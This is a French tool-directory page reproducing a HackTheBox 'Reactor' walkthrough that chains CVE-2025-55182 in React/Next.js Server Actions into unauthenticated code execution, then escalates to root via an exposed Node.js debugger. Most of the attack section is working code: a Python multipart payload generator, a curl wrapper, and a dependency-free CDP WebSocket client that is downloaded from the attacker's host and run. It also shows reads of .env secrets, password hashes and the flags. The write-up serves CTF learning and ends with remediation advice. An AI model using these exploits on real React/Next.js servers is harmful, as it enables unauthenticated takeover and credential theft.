Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Walkthrough complet de la machine Reactor de HTB — exploiter CVE-2025-55182 pour obtenir un shell, puis obtenir root via un débogueur Node.js exposé. Étape par étape avec captures d'écran. | Kitploit
Outils/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Outil d'Accès à Distance
Labs et Pratique
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Walkthrough complet de la machine Reactor de HTB — exploiter CVE-2025-55182 pour obtenir un shell, puis obtenir root via un débogueur Node.js exposé. Étape par étape avec captures d'écran.

Voir le dépôt
11il y a 2 moisPas encore vérifié
Partager

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Avertissement de spoiler. Ceci est un walkthrough complet avec les flags. Si vous voulez résoudre la machine vous-même, fermez ceci maintenant et revenez quand vous êtes bloqué.


Informations sur la machine

ChampDétails
NomReactor
OSUbuntu 24.04 LTS (Noble)
DifficultéMoyenne
CVECVE-2025-55182 (CVSS 10.0)
Ports22 (SSH), 3000 (Next.js)
Auteursonnycroco

Vue d'ensemble

Reactor est centré sur un tableau de bord de surveillance de centrale nucléaire appelé ReactorWatch. La machine repose entièrement sur deux vulnérabilités enchaînées : pas de devinettes, pas de fausses pistes, pas de force brute.

Le chemin : une version pré-release de React 19 expose une faille critique de désérialisation qui donne une exécution de code à distance non authentifiée avec une seule requête HTTP. De là, un port de débogage Node.js tournant en root donne un accès complet au système via un message WebSocket.

Chaîne d'attaque :

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Table des matières

  1. Étape 1 : Reconnaissance
  2. Étape 2 : Empreinte de la pile technologique
  3. Étape 3 : Exploitation de CVE-2025-55182 (RCE non authentifié)
  4. Étape 4 : Fouiller en tant que node
  5. Étape 5 : Flag utilisateur
  6. Étape 6 : Élévation de privilèges
  7. Étape 7 : Flag root
  8. Leçons apprises
  9. Remédiation

Étape 1 : Reconnaissance

La première chose à faire sur toute nouvelle machine est de découvrir ce qui écoute. Un scan complet des ports avec détection de services pour ne rien manquer.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Résultats du scan Nmap montrant les ports 22 et 3000 ouverts et Next.js identifié

Seulement deux ports. SSH est une impasse à ce stade car nous n'avons pas encore d'identifiants. Le port 3000 est la cible. Nmap nous dit déjà qu'il s'agit de Next.js 15.0.3, ce qui est un bon indice.


Étape 2 : Empreinte de la pile technologique

Avant de jeter des exploits sur quoi que ce soit, je veux connaître la version exacte de tout ce qui tourne. Les en-têtes HTTP ont déjà révélé Next.js, mais la version de React est le détail critique. React 19 est resté longtemps en pré-release et présentait de sérieux problèmes avant la version stable.

Récupération d'un des chunks JavaScript côté client pour vérifier :

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

Ce rc dans la chaîne de version, c'est la preuve flagrante. Il s'agit d'une build release candidate de React 19, pas de la version stable. Les bases CVE le confirment : CVE-2025-55182 affecte exactement cette build. CVSS 10.0.

Pendant que j'y suis, je vérifie les en-têtes pour des indices sur le middleware :

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Aucun en-tête x-middleware-rewrite nulle part, ce qui signifie qu'aucun middleware Next.js n'est installé. Cela exclut CVE-2025-29927 (le contournement de middleware), une bonne chose à noter pour ne pas perdre de temps dessus.

Ce que nous savons :

  • Next.js 15.0.3 avec experimental.serverActions activé
  • React 19.0.0-rc, vulnérable à CVE-2025-55182
  • Nom de l'application : ReactorWatch (tableau de bord des capteurs du réacteur nucléaire)
  • Pas de middleware, donc le CVE de contournement de middleware ne s'applique pas ici

Empreinte technologique montrant React 19.0.0-rc détecté et CVE-2025-55182 identifié


Étape 3 : Exploitation de CVE-2025-55182 (RCE non authentifié)

Ce qu'est la vulnérabilité

Les Server Components de React 19 ont introduit les Server Actions, des fonctions côté serveur appelables par le client via une requête HTTP POST avec un en-tête Next-Action. Le parseur de corps multipart qui gère ces requêtes présente une faille critique : il désérialise de manière non sécurisée un type de référence appelé $1:__proto__:then.

En concevant un corps multipart qui affecte _response._prefix à du JavaScript arbitraire, un attaquant fait évaluer ce code sur le serveur. La sortie est ensuite exfiltrée via une exception que Next.js utilise en interne pour les redirections (NEXT_REDIRECT), et se retrouve encodée en URL dans l'en-tête de réponse x-action-redirect.

Tout POST vers n'importe quelle page avec l'en-tête Next-Action déclenche cela. Aucune vérification d'authentification, aucun endpoint spécial. Il suffit d'envoyer la charge utile à / et vous êtes dedans.

Construction de l'exploit

Un petit script d'aide Python qui prend une commande shell en entrée, construit la charge utile multipart et l'écrit sur le disque pour que curl l'envoie :

make_rce.py - générateur de charge utile
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Pour un rendu pseudo-shell, on enveloppe le tout dans une fonction shell :

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

L'échange HTTP brut. La sortie de la commande est visible directement dans l'en-tête de redirection :

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Exécution

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Nous sommes dans le compte de service node. Pas d'authentification, pas de force brute, pas d'ingénierie sociale. Juste un POST HTTP. Voilà à quoi ressemble un CVSS 10.0 en pratique.

Requête et réponse HTTP brutes de l'exploit CVE-2025-55182 avec la sortie de la commande visible dans l'en-tête de redirection

[!WARNING] Deux choses à savoir avant de continuer :

  • execSync est synchrone et bloque le thread de réponse. N'essayez pas de lancer un reverse shell avec, utilisez plutôt le exec() asynchrone ou le serveur se bloquera.
  • Le template literal NEXT_REDIRECT casse sur les retours à la ligne. Toujours faire passer la sortie multi-lignes par paste -sd, pour l'aplatir avant de l'envoyer dans l'URL.

Étape 4 : Fouiller en tant que node

Une fois l'exécution de code établie, l'objectif suivant est de comprendre l'environnement : ce qu'il y a sur cette machine, quels identifiants traînent et s'il existe un chemin évident vers un utilisateur plus privilégié.

Vérification de la configuration de l'application

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

Il y a une base SQLite sur le disque. Vérifions ce qu'elle contient :

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Un compte admin avec un hash MD5. Le passer à John avec rockyou ne le casse pas. Ce n'est pas grave, le craquage de hash s'avère inutile une fois qu'on a trouvé le véritable chemin d'élévation de privilèges. On met ça de côté et on continue.

Vérification des utilisateurs et des répertoires personnels

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

Il y a un utilisateur nommé engineer. Le flag utilisateur se trouve dans son répertoire personnel.

[!NOTE] Sur certaines instances de cette machine, /home/engineer/ a des permissions 700, ce qui signifie que le compte de service node ne peut pas le lire directement. Si c'est le cas pour vous, pas de panique. Le chemin d'élévation de privilèges vers root décrit à l'étape 6 permet de lire les deux flags en tant que root.


Étape 5 : Flag utilisateur

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Si /home/engineer/ est verrouillé sur votre instance, passez à l'étape 6 et récupérez les deux flags en tant que root.


Étape 6 : Élévation de privilèges

Trouver le chemin vers root

Une fois le pied dans la porte, je vérifie quels processus tournent sur la machine. Le ps aux complet est long, donc je filtre sur tout ce qui touche à Node.js :

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Le voilà. Un second processus Node.js tournant en root, lancé avec le flag --inspect lié à 127.0.0.1:9229. Il s'agit d'un script de surveillance de disponibilité que quelqu'un a démarré avec le débogueur Node.js activé et laissé tourner.

Pourquoi cela nous donne root

Le flag --inspect ouvre le Chrome DevTools Protocol (CDP), le même protocole que celui utilisé par les outils de développement de votre navigateur. Quand vous vous y connectez, vous pouvez demander au processus d'évaluer du JavaScript arbitraire dans son propre contexte V8. Comme ce processus tourne en root, tout ce que vous évaluez tourne aussi en root.

Le seul obstacle est que le débogueur est lié à localhost, mais nous avons déjà une exécution de code sur la machine en tant que node, nous pouvons donc l'atteindre sans problème.

Confirmation que le débogueur est actif et récupération de l'URL WebSocket :

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] L'UUID dans l'URL WebSocket (1d85ee80-...) est unique pour chaque instance du processus. Le vôtre sera différent. Copiez-le depuis votre sortie JSON et mettez-le à jour dans le script d'exploit avant de l'exécuter.

Sortie de ps aux montrant le processus inspect Node.js root et l'URL WebSocket du débogueur depuis l'endpoint json

Écriture de l'exploit CDP

Pour envoyer une commande Runtime.evaluate à l'inspecteur, nous avons besoin d'un client WebSocket. Le paquet npm ws n'est pas présent sur la cible, j'écris donc un client minimal de zéro en utilisant uniquement les modules intégrés de Node.js : net pour la connexion TCP et crypto pour le masquage des trames WebSocket.

inspector_exploit.js - client WebSocket CDP sans dépendance
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Dans un appel CDP Runtime.evaluate, la fonction require() nue n'est pas dans la portée globale, même si worker.js est lui-même un module CommonJS. Vous devez utiliser process.mainModule.require(...). Utiliser require() tel quel lèvera une ReferenceError et ne produira aucune sortie.

Livraison et exécution de l'exploit

On sert le script depuis la machine d'attaque :

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Téléchargement et exécution sur la cible via la chaîne RCE :

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Réponse :

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Nous évaluons du JavaScript arbitraire dans un processus tournant avec uid=0.

Réponse CDP Runtime.evaluate confirmant uid=0 et l'exécution de code en tant que root


Étape 7 : Flag root

Même exploit, commande différente dans CMD :

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Les deux flags récupérés, user.txt et root.txt, machine entièrement compromise

Temps total entre la première requête et root : moins de 10 minutes une fois que vous comprenez le CVE. Pas de force brute, pas de craquage de mot de passe, pas de fausses pistes.


Leçons apprises

1. Ne supposez pas que les CVE Next.js se cumulent

CVE-2025-29927 (contournement du middleware) a fait les gros titres en même temps que CVE-2025-55182. Vérifiez toujours si le middleware est réellement présent avant de tester son contournement. La présence ou l'absence de l'en-tête de réponse x-middleware-rewrite vous le dit immédiatement. Courir après le mauvais CVE est une perte de temps facile.

2. execSync cassera les reverse shells

Il bloque tout le thread de réponse du serveur jusqu'à la sortie du sous-processus. Lancer bash -i ou un shell netcat via cette fonction bloquera les deux côtés. Utilisez plutôt le exec() asynchrone de child_process si vous avez besoin d'un shell interactif via cet exploit.

3. Aplatir les sorties multi-lignes avant exfiltration

La sortie de la commande est insérée dans un template literal JavaScript : NEXT_REDIRECT;push;/login?a=${res};307;. Tout retour à la ligne dans res casse le template literal et ne renvoie rien. Passez tout par paste -sd, pour joindre les lignes avant l'exfiltration.

4. require n'est pas global dans le contexte CDP

Quand vous envoyez Runtime.evaluate à un inspecteur Node.js, vous exécutez du code dans un isolate V8 qui n'expose pas la fonction CommonJS require globalement, même si le processus cible est lui-même un module CommonJS. Utilisez toujours process.mainModule.require("module") dans les expressions CDP.

5. Les permissions du répertoire personnel varient selon l'instance

Sur certaines instances de cette machine, le compte de service node peut lire /home/engineer/user.txt directement. Sur d'autres, les permissions 700 du répertoire personnel le bloquent. Le chemin d'élévation de privilèges vers root fonctionne toujours et donne les deux flags quel que soit le cas.


Remédiation


Télécharger l’outil
VulnérabilitéCorrectif
CVE-2025-55182Mettez à niveau React de 19.0.0-rc vers la version stable de React 19. Mettez à niveau Next.js vers la version 15.2.3 ou supérieure.
Node.js --inspect en rootSupprimez entièrement --inspect de tous les processus de production. Ne liez jamais l'inspecteur à une adresse, même 127.0.0.1, sur des systèmes partagés. Utilisez un environnement isolé dédié au débogage.
Base SQLite dans le répertoire de l'applicationDéplacez la base de données hors de la racine web. Restreignez les permissions du système de fichiers pour que le processus web ne puisse accéder qu'à ce dont il a strictement besoin.